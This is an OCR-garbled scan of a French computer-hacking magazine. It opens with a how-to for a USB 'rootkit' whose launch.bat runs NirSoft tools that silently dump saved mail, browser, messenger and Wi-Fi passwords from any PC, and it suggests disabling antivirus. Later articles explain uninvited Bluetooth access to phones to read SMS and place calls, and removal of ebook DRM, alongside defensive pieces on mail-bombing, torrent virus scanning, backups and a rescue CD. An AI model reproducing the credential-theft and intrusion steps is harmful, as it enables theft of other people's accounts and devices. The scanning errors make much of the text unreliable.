start mspass.exe /stext mspass.tat

HACKING
» PIRATAGE

» Récuperez tout
les mots de passe ! =

start netpass.exe /stext netpass.ixt

start PasswordFox.exe /stext PasswordFo bt
start pspv.exe /stext pspy.txt

start WirelessKeyView.exe /stext WirelessKeyView. b
Prenez bien garde & ce que les noms des fichiers EXE
comespandent & oe que vous écnvrez dans le texte, on
ne sl jamais... Enregistrer ensuite votre document
(toupours en racine) sous le nom de launch.bat

3 Le test

Une fois que les & programmes. et les dews fichiers
(INF et BAT) sont sur votre clé (ke tout prand moins
d'un Mo de mémoire), votre roothit est prét ! Il y
a ensuite plusieurs cas de figure en fonction de
l'ordinateur su lequed vous aller tester le roothit.
La plupart du temps, il suffira dinsérer la clé et de
cliquer sur Scan Password lorsque la petite fenitre
apparaitra. Mais parfois 'autoun est désactivé,

[ = Exbcution Mot .itl-.- IEF."-%#E

Disgque amowible {J:)

| Towjturs Fare coci pour bogeciels et jeun ;

Insksller o exbCuler un pacg famse

S Padresrds
o

Ot g o

e b dosser et afficher les fichiers

FErer el

ain sur leC

Pas de probléme, pour faire marcher notre astuce,
il suffira dinsérer la ¢lé et de double cliuer sur le
fichier launch.bat.

H Mots de passe !

Une fenétre DOS va alors s'afficher el au bout de
2 secondes, plusieurs fichiers TXT vont se créer sur
votre clé USE: un pariugmml Il vous suffira d"owvrie

ces fichiers pour profiter de votre «récoltes. Vous
trouvere? les noms des logiciels ou des senices, les
login, les mots de passe el meme une appréciation
de la solidité du mot de passe. Atfention, si wous
voulez recommencer |'expérience sur un autre PC, les
fichiers TXT déja présents seront écrasés...

4 CE QU'IL VOUS FAUT

2 Les logiciels de Nir Sofer
) www.nirsoft.net

DiFFICULTE

Tous les logiciels nécessaires & la confection dawhnmﬁmmmiapmmhsmrlasmﬂimftﬂsnenmrentmuplgedegprde 1l suffit de

taper leurs noms dans le champ de recherche.

MessenPass :
Il rcupére bes mots de passe de la plupart des

messageries instantanées * MSN, Yahoo Messenger, 100,

AOL IM, Trillian, Miranda, GAIM, etc,
Mail PassView :

I révide bes mots de passe des clients de messa-
fene comme Outiook Express, Dutioak
2000/ 2002,/2003, IncrediMail, Eudora, Netscape Mail,
Mozilla Thunderbird, etc.

ChromePass :
J La méme chose que |E Passview et PasswordFox
mais paur le navigateur Google Chrome.

= |E Passview :
= lls'occupe des mots de passe qui sont utifsés

avec toutas fes varsions d'Intemet Bxplorer (de lavd ala
W7). 51 vous utilisez Gmail, Paypal, eBay ou n'importe
qued autre serace en ligne depuis IE, vous retnouvenez
tous les identifiants de ces senvices.

PasswordFox :

La méme chose que IE Passview mais pour Firefox

7= Protected Storage PassView :
F21= Récupire les mots de passe stockss dans Je
Protected Storage de Windows, un madule utilisé par de
nombreds senices Microsoft ..

pécouvrez notre
en
mtmﬂﬁ o

ﬂ._ Network Password Recovery :

- Parmet de récupéres bes mals de passe de votre
réseal local ou de votre compte Microsaft .NET Passpart.
Attention ce demier peut étre détects comme Lng menace
par votre anthins. Désactiver wolre antivins quelque
Temps paur poumvair e télschanger &1 travailler avec.

= WirelessKeyView :

. ldéal lorsqu'on n'a pas son mot de passe Wik
sous la main. Trés puissant, o logiciel retrouve tous
l2s mots de passe des réseaus Wik (WEP/WPA) qui ont
dEja &4 connectés @ votre ordinateur..méme de
passape dans un hite! ou un McDo,

EEEER TR
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Se protéeger

du «mail-

Me communiguez votre e-mail qu'aux
personnes dignes de confiance,
Evitez de le placarder sur les forums,
les réseaux sociaux ou votre blog.
M'hésitez pas a créer une seconde
adresse pour vos mailings lists ou
autre activités annexes sur la Toile,
Installer ou configurer un logicie
antispam pour interdire I"'accés aux
e-mails identigues envoyes a un
intervalle de temps trés court est

aussi une bonne solution. ..

-

Tout d'abord, la totalité des fournis-
seurs d'acces interdisent dans leurs
conditions générales la pratique du
mail bombing. Les contrevenants
pewvent donc voir leur contrat résilié,
Latteinte & un systéme de traitement
automatisé de données (STAD) est
aussi condamnée par la loi {article
323-1 du Code pénal). Derniérement,
un mail-bomber a &té condamné

A 8 mois de prison avec sursis et
20000 euros de dommages et inté-

réts par le TGl de Paris. .5

Le mail-bombing est une attaque informatique qui consiste a envoyer un
grand nombre d’e-mails vers un destinataire pour faire saturer sa boite de
réception. Elle fait deux victimes, le FAl qui doit subir le traitement de ces
informations et réparer les dégats ainsi que le destinataire des messages
qui ne peut plus recevoir d’e-mail pendant une période non négligeable.
Alors, comment se mettre a I'abri ?

e mail-bombing fait parti de
maoyens qui existent pour
ennuyer des tiers ou des
sociétés. Le principe rappelle
un peu l'attaque DDoS dont nous vous
avions parlé dans notre précédent
numéro. Sauf qu'ici, il ne s'agit pas
de saturer un site de requétes mais
de bombarder d'e-mails une boite
aux lettres. Au bout d'un moment, le
serveur du FAl victime n‘accepte plus
les messages et les correspondances
légitimes se perdent a jamais. Cest
assez embétant pour un particulier

mais catastrophigque pour une société...
i

Bien s0r, les pirates qui pratiquent ce
genre de “sport” ne le font pas depuis
leur Qutlook Express ou leur compte
Hotmail, il faut pour cela un logiciel
spécial qui permet par exemple de
trafiquer les adresses d'émetteurs, de
multiplier les serveurs de mail a partir
duquel les messages seront émis, etc,
Le nombre de messages envoyés est
colossal, parfois plus de 500 000 ! Cela
encombre bien s0r la bande passante
du FAl de la victime et cette derniére
se retrouve alors avec un compte mail
inutilisable : essayez de récupérer

500 000 e-mails sur votre Thunderbird |



PRATIQUE

Filtrez vos e-mails avant
de les télécharger

1

Telechargez l'archive ZIP contenant e programme et décompactez-le dans
un répertoire que vous nommerez comme bon vous semble. Magic Mail

=
™

Monitor (MMM) ne nécessite aucune installation. Double-ciiquez sur le
fichier EXE pour démarrer le programme. 1 va ensuite falloir paramétrer
votre compte e-mail sur MMM,

2

Cliguez sur Edit puis New Mailbox... Vous aurez alors le choix entre im-
porter un compte d'Outlook Express (cette option fonctionne aussi avec le
Windows Mail de Vista et Windows 7) ou paramétrer un compte existant

iy 11
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de A a Z, Clest cette option que nous allons choisir, cliguez sur Create
Empty. Dans la nouvelle fenétre, entrez votre nom d'utilisateur (Alias),
votre adresse mail (User) et votre nom de serveur (Host). 5i vous ne
savez pas ol trouver ces informations allez dans Outils>Paramétres des
comptes>Paramétres serveur dans Thunderbird ou Owtils>Comptes dans
Windows Mail.

¥ CE QU'ILVOUS FAUT

http://mmm3.sourceforge.net

| www.mozillamessaging.com,/fr/
thunderbird

3

Laissez le port 110 pour le POP3, n'oubliez pas de cocher NO RETR 51
vous utilisez un compte Gmail et Use S5L si votre messagerie utilise cette
technologie de chiffrement. Entrez aussi votre mot de passe de messagerie
ou cochez Prompt for password si vous voulez qu'on vous le demande

& chague démarrage. Longlet Command permet de démarrer un client
lorsque de nouveaux e-mails sont arrivés. Playback et Message permettent

T — -

eFETENFI

STI11111

quant @ eux. de régler un son particulier ou l'ouverture d'un pop-up &
I'arrivé d'un nouveau message. Enfin, Server donne des informations sur
votre senveur mail.

4

Lorsque vous avez fini vos réglages, cliquez sur OK puis tapez F5 (ou
l'icone Check Now ! en haut de |a fenétre principale). Vous verrez alors la
liste des messages qui attendent sur votre serveur. Les corps de messages
ne seront pas charges | Vous pouvez donc les supprimer a distance sans
saturer votre boite mail en cas d'attaque ! Si vous recevez des milliers
d'e-mails de la méme personne et que vous souhaitez obtenir des
informations pour porter plainte, il suffit de faire un clic droit dans un des
e-mails, de cliquer sur tem properties et d'ouvrir I'onglet Raw Header...

Mail praperties
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Retrouver le coupable

Si vous avez été victime d'un mail bombing, il est parfois
possible de remonter jusqu'a I'émetteur.

En effet, il existe des informations dans chaque message qui
donnent des informations sur leur auteur. Ces informations
sont contenues dans l'en-téte du message ("header"en
anglais). Pour y accéder, ouvrez un des messages, cliquez
sur Affichage puis sur Code source du message.

Received: from serverexemple.net [190.132.06.15]
by smtp.votre-FALcom with ESMTP (SMTPD32-4.06) id
AD9D3203BC;
Tue, 18 Jan 2010 14:18:56 EST

Received: from argamemnon ([192.288.14.1)) F3
by server15.exemple.net (8.7.5) ID LAA28548; El
tue, 18 Jan 2010 14:19:11 -0700 (M5T)

Message-ID: <007901be38dc5e19a50e0501010118
@argamemnon> £l

Reply-To: billgates@microS$oft.com [H

From: pirate@chezlui.com [

To: votre-adresse@votre-FAl.com

Subject: No subject ]

Date: tue, 18 Jan 2010 19:54:10 +0100

MIME-Version: 1.0

Content-Type: text/plain;

charset="iso-8759-2"

X-Priority: 3

K-MsMail-Pricrity: Normal

X-Mailer: Microsoft Outlook Express 4.72.3110.5 EJ

El Adresse IP du serveur par lequel a transité le message
E Adresse IP du pirate

El serveur SMTP utilisé par le pirate

3 Nom réseau de |'ordinateur du pirate

B Adresse ol sera acheminée votre réponse éventuelle

E Adresse présumée du pirate (qui a sans doute
&té falsifiée)

Votre adresse email
Bl objet du mail
El client mail utilisé par le pirate

Dans cet exernple, il faut envoyer votre plainte a
abuse@exemple.net voire aussi a postmaster@
exemple.net (en remplagant exemple.net par le

nom de domaine du FAl ou du serveur SMTP utilisé
par le pirate, abuse et postmaster étant valides
avec nimporte quel FAIl). Les FAl, qui apprécient
moyennement ce genre d'attaques vous aideront
dans votre démarche. 5i votre boite est bloquée, il
faudra utiliser le petit programme gratuit Magic Mail
Monitor (voir notre pas a pas) : ce dernier vous permet
d'examiner le contenu de votre boite aux lettres
sans avoir a charger les messages. Vous pourrez bien
sOr supprimer les mails qui viennent du pirate (cela
fonctionne aussi pour les apams) tout en analysant
leurs en-tétes.

Filtrez en cas d’attaques répéetéees !
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Moins connu que le Wi-Fi, le Bluetooth est une norme de
communication sans fil utilisé pour relier entre eux bon
nombre d'appareils : téléphone, ordinateur, imprimante, auto-
radio, kit «mains libres», PDA, etc. Trés permissif au niveau
de la sécurité, le Bluetooth a su se muscler un peu au fil des
années sans pour autant devenir une citadelle imprenable...

Se protéger

Pour éviter de se faire pirater
votre téléphone portable par
exemple, c'est trés simple. Il suffit
simplement de couper |'option
Bluetooth. Vious pourrez |'activer
en cas de besoin et vous écono-
miserez la batterie ! 1l est aussi
possible de chaisir un mot de
passe pour éviter les surprises.
Les téléphones Samsung sont

& ce jour ceux qui permettent
de mieux se protéger contre les

attaques. .5

-

Quelques dates...

1994 : Création de la technologie
par Ericsson

1998 : Création du Bluetooth
Special Interest Group par IBM,
Intel, Nokia, Microsoft, Motorola, etc.

1999 : Sortie de la version 1.0 et
début de la démocratisation de la
technologie

2006 : Sortie de la version 2.0
permettant d'assurer des débits
théorques 100 fois plus importants

(12 Mo/s) .5

e Bluetooth permet a deux
appareils équipés de la
technologie de pouvaoir
communiquer I'un avec |'autre
pour séchanger des informations :
envoi d'une photo sur un ordinateur,
communication d'un téléphone a
une oreillette, etc. Pour commencer
I'4change, le mode Bluetooth doit
&tre active, les deux acteurs doivent
valider I'échange et éventuellement
s'échanger un mot de passe (sauf
exception, le Bluetooth a une portée
d'une dizaine de métres, le sésame
peut trés bien se donner de vive voix).
Malheureusement, les utilisateurs
sont souvent négligeant en matiere
de nouvelle technologie et il est

BlueScanner
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fréquent que les appareils soient livrés
sans que ces mesures de sécurité

ne soient activées. Lappareil reste
donc continuellement «visibles par
nimporte qui et ne demande pas
l'intervention de son propriétaire pour
valider |la connexion. Dans ce cas, vous
pouvez au pire vous faire voler vos SMS
ou les derniéres photos du Week-end
ala Bourboule... Seulement voila,
avec certains logiciels (pouvant étre
installe sur un smartphone, un PDA
ou un netbook), les pirates peuvent
aller plus loin : vol de votre carnet
d'adresse, utilisation frauduleuse de
votre téléphone et de votre connexion
Internet, extinction du téléphone,
écoute cachée, etc,

~ Pour vous amuser ou pour bidouiller un peu votre connexion Bluetooth, voici quelques

logiciels disponibles pour PC ou sur téléphone portable permettant de repérer des
- périphériques, d'obtenir des informations dessus ou faire des tests de pénétrations.

! BlueScanner est un petit logiciel PC permettant de détecter les péniphériques Bluetooth autour de vous.
Il balaye 'emvironnement sans essayer de s'y connecter et wous donne un paguet d'informations sur ces
demiers : nom, adresse, type, heure de la demigre apparition, etc. Optez pour la version la plus récente
que vous pouvez puisgue la reconnaissance des périphériques se fait a partir d'une base de données

g http:/ / sourceforge.net/ projects,/ bluescanner




VYous connectez via
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Commencez par télécharger le fichier JAR
puis wtilisez votre logiciel de transfert
pour le placer sur votre téléphone. Une

fois sur I'appareil, installez le programme
et attendez qu'il démarre. BT INFO est un
logiciel Slovene, il va falloir le paramétrer
pour l'anglais. Choisissez Nastavenia
puis Jazyk et sélectionnez English dans
a list. Cliquez sur Options puis Spat.

Dans Settings, vous aurez plusieurs op-
tions trés anecdotiques. Allez directement
sur Connect puis Inquiry Devices. Le
programme va wvous demander d'auto-
riser I'activation du Bluetooth avant de
commencer a scanner les alentour & la
racherche de périphérique Wi-Fi. Cliquez

E *E

BT INFDO:

» Connect
N » Sefltings
| » About

| » Exit

Select

sur un de ces périphérigues et attendez
que BT INFO trouve son adresse (com-
mence par btspp://)

Sélectionnez cette adresse et laissez
le temps au logiciel de se connecter.
Vous pouvez auparavant placer ce pé
riphérique dans vos favoris en cliquant
sur Options>To List. Une fois connecté,
vous aurez alors un menu a disposition.
Le nombre d'options qui sera affiché dé

Bluetooth sans invitation

pendra du téléphone que vous voudrez
atteindre mais il vous sera possible de
COMPOSEr un NUMErD, avoir accés au ré-
pertoire, au SMS et a pratiquement tous
les réglages...

B o]

ACTIONS

B Reading SMS
7 Silent Mode

H =l Phone Functionaliry

4 Ring Volume

& Alarms
& Clock

=* Locks

Select

¥ CE QU'ILVOUS FAUT

www.thomas.hoornstra.org,/hack
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Un premier pas ?

Comme I'a fait Bames & Noble, il
y a quelgue temps déja, Amazon
vient d'autoriser le prét de livres
numériques entre possesseurs de
Kindle pendant une durée limitée de
14 jours, Fait amusant, comme pour
une version papier, le livre n'est plus
disponible sur le lecteur du préteur

My,

pendant toute la durée du prét.
“\

Google eBookStore

2011 sera I'année de l'ouvertre de

la librairie en ligne de Google. Pour
l'instant unigquement disponible

au Etats-Unis, ce service se base

sur les millions de livres numérisés
depuis 2004 dans le cadre du projet
Google Books. ME&me si un espace de
stockage en ligne sera de |a partie,
les utilisateurs auront la possibilité
de télécharger un exemplaire de leur
achat...sous DRM, -5

L —————— S S S S

Vous étes un adepte de la lecture numérique et vous aimeriez
pouvoir utiliser comme vous le souhaitez vos achats effectués

sur des plates-formes légales... Et pourtant, vous étes sans cesse
limités par ces satanés DRM (Digital Rights Management) ! Et si ce

n'était plus un probléme ?

a technique est au point, les
lecteurs se démocratisent,
les catalogues s'étoffent
enfin... Cette fois ¢a y
est, le livre numérique commence
a trouver son public ! Mais un
probléme demeure : les ebooks
disponibles sur les plates-formes
légales sont pour la plupart affublés
de DRM, ces protections qui
empéchent le transfert des fichiers
d'un lecteur a un autre |

Un véritable fléau...
Lindustrie du livre semble pour
l'instant reproduire a la lettre les
erreurs commises jadis par celles de la

musique ou du cinéma. La volonté de
leadership et |la protection des droits
d'auteur poussent les plates-formes
de téléchargement a ne proposer
quasiment que des fichiers bourrés
de DRM. A croire que les éditeurs ne
se soucient guére des milliards de
clients potentiels qu'ils gagneraient
en proposant une interopérabilité
des contenus (combien de gens
achéteraient leur livre favori en
version numeérique slils pouvaient le
lire sur leur téléphone 7).

... Si simple a combattre !
Quand vous achetez un livre, gqu'il
soit nuMérique ou en papier, vous



PRATIQUE

1

Rendez-vous sur une plateforme de vente

de livre numériques. Nous avons choisi
ePagines.fr, I'une des plus connues en France.
Une fois notre livie acheté, nous recevons un
e-mail de confirmation contenant le lien de
téléchargement du livre. Avant de cliguer sur
ce lien, il nous faut installer le logiciel gratuit
Adabe Digital Editions.

e

2

Téléchargez le logiciel Adobe Digital Edition &
I'adresse hitp: / /www.adobe.com et installez-
le. Créez des identifiants Adobe (cela devrait
vous étre proposé durant l'installation) afin de
vous connecter et de pouvoir faire le lien entre
|a bibliothéque et votre ordinateur.

o

avez envie de le lire n'importe
ol et surtout de pouvoir le
préter a vos amis... Mais les DRM
I'empéchent. Imaginez que vous
ayez acheté un livre numeérigue
sur une célébre platefarme
comme La Fnac ou ePagines.
Vous commencez a le lire sur
votre PC, puis vous décider de le
transférer sur votre iPhone... et
la, c'est le drame ! Lécran affiche

3

Méme si ce n'est pas notre but final, cette
etape est obligatoire. Cliquez sur le lien
conteny dans I'e-mail envoyé par ePagines,
Votre livre est téléchangé et il s'ouvre
directement dans Adobe Digital Editions. Lors

de cette opération, un fichier .epub va étre
créé dans le dossier C:/User/ Documents/
My digital editions.

4

Le nom fait peur mais opération n'est pas-
compliquée | Téléchargez et installez les
logiciels Python (version 2.6 pour Windows
Vista ou 2.7.1 pour Windows 7) et PyCrypto
{version 2.0.1). Télechargez enfin (on

les trouve facilement en cherchant dans
Google) les scripts Python inepthkey.pyw et
ineptepub.pyw.

un terrible message : «Ce livre ne
peut étre ouvert car son format
n'est pas valides. La faute aux
DEM, évidemment ! Il vous reste
alors 2 solutions : acheter le livre
une deuxiéme fois sur iTunes (a
condition quil soit disponible)
ou le pirater pour obtenir un
fichier sans DRM, ce qui n'est
pas la bonne solution car cela
ne ferait que donner raison aux
I'_.iu
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Double-cliquer sur le fichier ineptkey. pyw.

Un neurveau fichier, baptisé adeptkey.der, est
alors créé, Double-cliquez ensuite sur le fichier
Imeptepub.pyw. Lorsque ce demier est lancé, il
vous propose de remplir trois champs différents.
Dans le champ Key file, allez chercher le
fameux fichier adepthey.der que vous venaz

de créer. Dans Input file, indiquez le fichier
.£pub contenu dans votre dossier My digital
editions. Enfin dans Output file, choisisser

I'emplacement ob vous souhaitez stocker votre
nouvean fichier qui sara dépounu DRM. Pour
terminer, cliquez sur Decrypt | Votre achat est
maintenant libre et interopérable...

4 CE QU'ILVOUS FAUT

(Gratuit) I
www. python.org :
(Gratuit)

(2 http://pycrypto.sourceforge.net |
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éditeurs. Quoi gu'il en soit, ces
derniers ont tout intérét a prendre
conscience du fait que les DRM
sant loin d'étre une solution face
au piratage. D'autant plus que
retirer les DRM d'un livre afin

de pouvoir le lire sur nimporte
quel support est simple comme
bonjour puisque la méthode est
la méme avec presque toute les
plates-formes.
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Jorrent. Heareuseh

100 000 000!

Depuis 'absorbsion de pTorrent

par le client historique BitTorrent,

les deux logiciels comptent plus de
100 millions d'utilisateurs actifs
mensuels. Au quotidien, ce sont plus
de 20 millions d'internautes qui
utilisent soit I'un ou l"autre de ces
clients. Dernierement Eric Klinker, le
PDG de la société s'est félicité de la
taille de leur base d’utilisateurs et de
la puissance des logiciels. ..

3
Avec le client
BitTorrent

Si vous utilisez le client historigue
BitTorrent, sachez que |a procédure
est exactement la méme. Les
interfaces de ce demier et de pTorrent
sont devenus exactement les mémes.,

g www.bittorrent.com
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I'infections

ssu d'un partenariat entre la
societeé editrice d'antivirus
BitDefender et BitTorrent (qui

a absorbé le client uTorrent),

Virus Guard est une application de
sécurité autonome intégrée aux clients
BitTorrent et pTorrent permettant
d’analyser vos téléchargements quand
ils sont terminés. 5i un malware ou
une tentative de contamination est
détecté, l'application signale le torrent
mis en cause et agit en conséguence

: mise en quarantaine, suppression,
etc. Le but est de vous proposer un
antivirus intégreé a l'interface de votre
client avec un récapitulatif des scans.
Lidée est de ne jamais laisser un virus,
un ver ou un trojan se disséminer via le
réseau P2P et stopper la propagation
des qu'il a été télechargé. Pour vous,

c'est aussi l'occasion d'éviter les
contaminations sur votre poste en
cliquant dans un fichier vérolé,

Un véritable phénoméne
de societe

En effet le protocole, autrefois
confidentiel est devenu un véritable
phénoméne de société au point

que certains matériels Hi-Fi porte
désormais l'estampille «BitTorrents.

Il n'est donc pas étonnant de voir de
plus en plus de fichiers Torrent qui
redirigent vers des «fakes» ou vers
des virus. Parfois, la ficelle est trop
grosse et 'utilisateur aura démasqué
la supercherie de lui-méme (taille qui
ne correspond pas, etc.) mais parfois
le malware peut se cacher dans une
présentation ou un fichier annexe.



PROTECTION

» ANTIVIRUS

» Utiliser Virus Guard
avec pTorrent

n pTorrent 2.2

Commencez par télécharger la nouvelle ver-
sion de pTorrent sur le site de I'éditeur ou
mettez & jour votre logiciel en cliquant dans
?>Vérifiez les mises & jour. Aprés avoir té-
léchargé cette nouvelle version 2.2, le logi-
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ciel va automatiguement se relancer. Vous
verrez alors dans la colonne de gauche un
menu Applications.

H Le plugin

Cliquez sur ce menu pour afficher la tota-
lité des plugins proposés par pTorrent dans
le panmeau de droite. Sélectionner Virus
Guard puis suivez les indications affichées
a lécran pour poursuivie [linstallation,

Dang le panneaw, vous verrez votre nouvelle
application,

B Le Torrent

Dans |la partie Settings, vous pouvez co-
cher les deux cases pour que Virus Guard
se charge au démarrage de pTorrent et pour
mettre & jour la base virale si elle date de
plus de 24 heures. Noubliez pas de cliquer
sur Apply. Si vous avez déja un Torrent de
téléchargé (fini & 100% et en «seed+) vous

e |

e —

e

pouvez lancer un scan immeédiatement.
Dans le cas contraire il faudra attendre pour
que Virus Guard commence son expertise,

ﬂ Le scan

En effet, pour obtenir une protection de
tous les instants, il faudra télécharger la
version payante de BitDefender Internet
Security. Neanmoins, les risques de faire

LT ] -
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Les autres applications

Une fois que vous avez la derniére version de BitTorrent ou

de yTorrent, vous aurez a disposition d'autres "Apps” dans la
méme section (étape 2 de notre pas a pas). Il y en a pour tous
les golts. Vous pourrez par exemple intégrer VLC a votre client

pour lire directement vos médias depuis l'interface, voir sur une
carte les différents peers avec uMap ou corriger vos tags ID3
avec TuneUp. Il n'existe pour I'instant que 17 applications mais
leur nombre devrait augmenter dans les semaines a venir...

e i A o i s i e e s [ e s e i i’ e i o e i o ) T s o i

contaminer par un téléchargement non fi-
nalisé sonl trés minces. Pour lancer le scan,
cliguez sur votre Torrent pour le mettre en
surbrillance puis cliquez sur Iicone «clibles
en haut de la fenétre. Vous pouver aussi
lancer I'analyse depuis le menu Virus Guard
sur la gauche.

E Le résultat

Dans la colonne Scanned, vous verrez I'état
d’avancement du scan (ou éventuellement
de la mise & jour des fichiers de signatures).
Lopération est trés rapide, elle prend mains

Telle E Sawice Searved
0 e [PEDEDE Parage DDA
Sdid: SR Tikichagemant
300 EEEEEDS Perige st sined
SEiac B 105%  Tekichmpament

d'une seconde pour un fichier de Y00 Mo...
Une fois terminé vous pourrez voir la date
a laguelle 'analyse a été effectude dans
cette méme colonne 3 cité des torrent qui
ont été traités.

4 CE QU'IL VOUS FAUT

> Virus Guard (gratuit)
E www.utorrent.com/intl/fr/apps

> uTorrent (gratuit)
_@q www.utorrent.com
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(avant qu’il ne soit

trop tard !)

NTBackup sur XP

Si vous ne souhaitez pas installer de
logiciel supplémentaire sur votre ma-
ching, avec Windows XP vous avez aussi
I'oppartunité d'utiliser un outil maison
qui se nomme NTBackup. Méme sl est
moins puissant qu'UltraBackup, il pourra
vous retirer une épine du pied si vous
n'etes pas survotre machine. Vious pou
vez le lancer en cliquant sur Démarrer,
Exécuter puis en tapant ntbackup.

L "

i T

Le choix du support

Pour stocker votre sauvegarde, nous vous
déconseillons, bien sdr, un répertoire sur
votre disque principal. Optez plutdt pour
un disgue supplémentaire, un disque
externe ou, au pire, une autre partition.
Si vous manquez de place, vous avez
toujours I'opportunité de stocker pro-
visoirement votre sauvegarde sur votre
disque C pour ensuite la graver sur CD
ou DVD. La clé USB est aussi une bonne

alternative...
( "

Méme avec un hon antivirus et un firewall bien configuré, personne n'est
a I'abri d'une contamination ou d'un crash de disque dur. C'est lorsque
tout va bien qu'il faut penser a faire des sauvegardes ! Gratuit et plutot
bien concu, UltraBackup est un logiciel qui permet de mettre en lieu sir a
la demande ou a intervalle régulier ses données les plus précieuses...

m ItraBackup permet

8 simplement de réaliser des

Y sauvegardes sur un autre
disque dur ou nimporte quel
authupporl (clé USE, réseau, email,
etc.) Il est possible de copier des fichiers
d'un répertoire vers une destination
déterminée, de compresser le tout ou
éventuellement de crypter le contenu
de votre sauvegarde avec une clé
unique. Vous pouvez choisir d'effacer
le répertoire source ou de synchroniser

Astace | r-l;..,l..., 207
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les sauvegardes en vous basant sur

le contenu ou la date. Un module de
planification est également de la partie
pour sauvegarder a heures/dates
réguliéres ou au début/fin de session.
Dautres fonctions trés intéressantes
comme la restauration, l'importation
et le journal d'événements en font le
partenaire idéal des utilisateurs qui
tiennent a leurs données. En un clic,
vous récupérez la derniere version de
vos documents sauvegardes !

hiali




PROTECTION
» BACKUP

» Faites votre |
premiere sauvegarde -

avec UltraBackup

n Configuration

Aprés linstallation du logiciel, I'assistant vous
demande d'entrer une clé de chiffrement pour le
cryptage des données. Il est possible de sauter
cette étape (en rentranl n'importe quoi) mais

au ¢as ol vous voudriez crypter vos sauvegardes,
n'oubliez pas de choisir un mot de passe solide,
Chaoisissez ensuite le mode Application qui permet

weila it du Chifienmmant 1o 7 B
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de ne pas avoir UltraBackup en tache de fond.
Patientez quelques instants, le temps que I logi-
ciel configune be systéme,

E Le gestionnaire

Cliqguez ensuite sur Lancer le gestionnaire de
sauwegarde puis sur le bouton Nowvelle Sauve-
garde (en haut 3 gauche). Cliguez sur le bouton
Ajouter un élément pour choisic ce que vous
souhaiter sauvegarder. Une nouvelle fenétre va

alors s'afficher. Cochez les éléments qui vous inté-
ressent puis cliquez sur Sulvant. Le logiciel vous
demandera de choisir entre deux modes : e Diffé-
rentiel (cliché) et I'Incrémental,

B Différentiel 2

La sauvegarde différenticile va vous permetire de
sauvegarder les fichiers ayant &€ créés ou modi-
fiés depuis la demigre sawvegarde compléte. Pour

[

restaurer lous wos documents, vous aurez ainsi
besoin de Iancienne sawvegarde et de celles
efiectuées apres. Le mode Incrémental permet
de sauvegarder les fichiers ayant &té créés ou
modifiés depuis une sauvegarde incomplite. Elle
perme[ gn outre de Parameétrer la suppression

mﬂvw-bﬂwwrwﬂth

pour spécifier le délai (en nombre de versions ou
de jours) passé lequel les versions obsolétes de
vos fichiers seront supprimées.

n Cryptage et filtres

Aprés avoir validé, vous allez pouvoir décider de
compresser el/ou crypler vos données. Ici, vous
pourrez awssi installer des filtres pour inclure ou
exclure uniquement les fichiers que vous aurez
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choisis. |l est possible, par exemple, de né Sauwve-
garder que les fichiers DOC d'un répertoire ou
au contraire d'exclure les PDF Utiliser pour cela
le bouton Ajouter. Pour ne pas utiliser de filtre,
choizisser Copier tous les fichiers, Aprés avoir
paramétrd les filtres, cliquer sur Suivant. Ultra-

=
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Backup vous demande maintenant le répertoire
dans lequel sera placée la sauvegarde, Choisisser
I'emplacement, le nom et aprés avoir validé, vous
pourer planifier votre sauvegarde.

H Sauvegardez !

(Juel que soit votre choix, il sera possible de faire
VOHre premiére sauvegande aprés en avoir terminé
avec I'assistant, Nommez cette tache telle qu'elle
apparaitra dans UltraBackup, puis cochez |3 cass
Générer des rapports de sauvegarde pour cette
sauvegarde pour avoir un comple rendu des
ermeurs. Vous aurez ensuite un récapitulatif de vos

ates b i e slpte P
o e m ma 5 b

e

choix &t vous pourmes commencer votre premiére
sauvegarde. Aprés que le message vous indique le
succes et les éventuelles erreurs de votre backup,
YOUS pourmez accéder aux options du logiciel sur sa
page principale. En cliquant sur le bouton Sauve-
gardes (|2 petite fleche), vous pourrez outrepasser
les planifications, extraire une archive ou importer
une sauvegarde d'un autre disque.

T Ep———
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4 CE QU'IL VOUS FAUT |

> UltraBackup 2007
Q hitp:/ /telechargement.zebulon.fr/
" ultrabackup.html
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Vous n’avez rien vu venir. B — t D

Votre PC qui ronronnait, hier I e e n e r
encore, a été contaminé par

un méchant virus. Pire que

==~ Rescue CD :
de démarrer, il vous est donc Bl

impossible de lancer un scan

ou de tenter de désinfecter quand rien ne va plus...

votre machine. Seul le
BitDefender Rescue CD peut
encore sauver ce qui peut
I'étre...

Sur clé USB aussi

Si graver limage de BitDefender Rescue
CD ne wous satisfait pas, il est toujours
possible de créer une clé USB bootable &
["aide de I'application UNethootin ou un
autre logiciel de ce type. Ainsi, méme un
PC avec un lecteur de CD/DVD cassé ou
votre récent netbook pourra étre désinfec-
té, Il faudra, bien si, paramétrer le BIOS
pour qu'il sboote sur cette clé USH...

Lien : http:/ / unetbootin,

Ehitdefender

sourceforge.net

A -5

ral .
Le BIOS €,
Le BIOS {Basic Input Output System) est - S .
un petit programme qui gire toutes les i m—
composantes de votre PC avant de passer
le relais & Windows. 1 est graphiguement e : .
triss austire et ne se commande qu'au orsgu'on est contaming par guarantaine. Le probléme, c'est que
clavier (pas de souris donc). Passez les un virus, on peut essayer I'attaque peut étre si grave (base de
chapitres en revue avec les fldches du cla- de sauver la situation en registre ou fichiers systéme atteints)
vier et validez avec Entrée. Pour sortir d'un scannant le systéme a la que votre systéme d'exploitation peut
menu, utilisez la touche Echap. Comme recherche d'éléments corrompus parfois refuser de se lancer. La plupart
il'y a autant de BIOS que de marque de pouvant étre supprimés ou mis en du temps, il faudra faire deuil de ses

carte mére (ou presque), les noms des
MENUS peuvent varier.., .5

fichiers (aie, la derniére
saison de Weeds...),
formater le disque dur (Are
you sure ? Y/N) et réinstaller
Windows ainsi que tous vos
logiciels. Heureusement,

il existe une solution. Un
recours de la derniére
chance : BitDefender
Rescue CD,

" ™
Comment ca marche ?

BitDefender va 52 lancer non pas par I'in-
termédiaire de votre Windows vérolé mars
en utilisant une version spéciale de Linux
inclus dans le CD. Pas besoin d'installer
quoique c& soit puisque tout est chargé
dans la RAM de votre PC. Quand an voit
comment une version «lights de Linux peut
sauver votre Windows, on se demande
encone comment on peut garder cette

\ usine a gaz maléfique... -5

<4 «J'adore qu'un plan se
déroule sans accroc»
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ﬂ Téléchargez

Vous ne trouverez pas le Rescue CD sur
le site frangais de BitDefender, il va fallpir
aller le chercher au lien que nous vous
indiquons dans I'encadré «Ce qu'il vous

e —

&% - # T il b dan cpm, a0,

[T——
Index of frescue_cd

Sy Lowi mefifed  Biw Dussripss

fauts. Cliquez sur Bitdefender-rescue-cd.
iso et téléchargez-le a I'endroit que vous
souhaitez.

E Gravez

